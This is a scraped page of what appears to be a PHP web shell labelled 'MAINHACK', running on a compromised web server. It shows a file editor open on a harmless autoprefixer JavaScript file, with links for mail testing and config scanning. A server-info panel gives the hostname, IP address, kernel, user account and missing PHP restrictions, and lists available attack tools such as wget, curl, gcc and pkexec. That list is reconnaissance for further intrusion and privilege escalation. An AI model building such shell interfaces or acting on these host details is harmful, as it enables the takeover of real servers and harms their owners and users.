[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: mask-composite.js
let Declaration = require('../declaration') class MaskComposite extends Declaration { /** * Prefix mask-composite for webkit */ insert(decl, prefix, prefixes) { let isCompositeProp = decl.prop === 'mask-composite' let compositeValues if (isCompositeProp) { compositeValues = decl.value.split(',') } else { compositeValues = decl.value.match(MaskComposite.regexp) || [] } compositeValues = compositeValues.map(el => el.trim()).filter(el => el) let hasCompositeValues = compositeValues.length let compositeDecl if (hasCompositeValues) { compositeDecl = this.clone(decl) compositeDecl.value = compositeValues .map(value => MaskComposite.oldValues[value] || value) .join(', ') if (compositeValues.includes('intersect')) { compositeDecl.value += ', xor' } compositeDecl.prop = prefix + 'mask-composite' } if (isCompositeProp) { if (!hasCompositeValues) { return undefined } if (this.needCascade(decl)) { compositeDecl.raws.before = this.calcBefore(prefixes, decl, prefix) } return decl.parent.insertBefore(decl, compositeDecl) } let cloned = this.clone(decl) cloned.prop = prefix + cloned.prop if (hasCompositeValues) { cloned.value = cloned.value.replace(MaskComposite.regexp, '') } if (this.needCascade(decl)) { cloned.raws.before = this.calcBefore(prefixes, decl, prefix) } decl.parent.insertBefore(decl, cloned) if (!hasCompositeValues) { return decl } if (this.needCascade(decl)) { compositeDecl.raws.before = this.calcBefore(prefixes, decl, prefix) } return decl.parent.insertBefore(decl, compositeDecl) } } MaskComposite.names = ['mask', 'mask-composite'] MaskComposite.oldValues = { add: 'source-over', subtract: 'source-out', intersect: 'source-in', exclude: 'xor' } MaskComposite.regexp = new RegExp( `\\s+(${Object.keys(MaskComposite.oldValues).join( '|' )})\\b(?!\\))\\s*(?=[,])`, 'ig' ) module.exports = MaskComposite
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.62 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002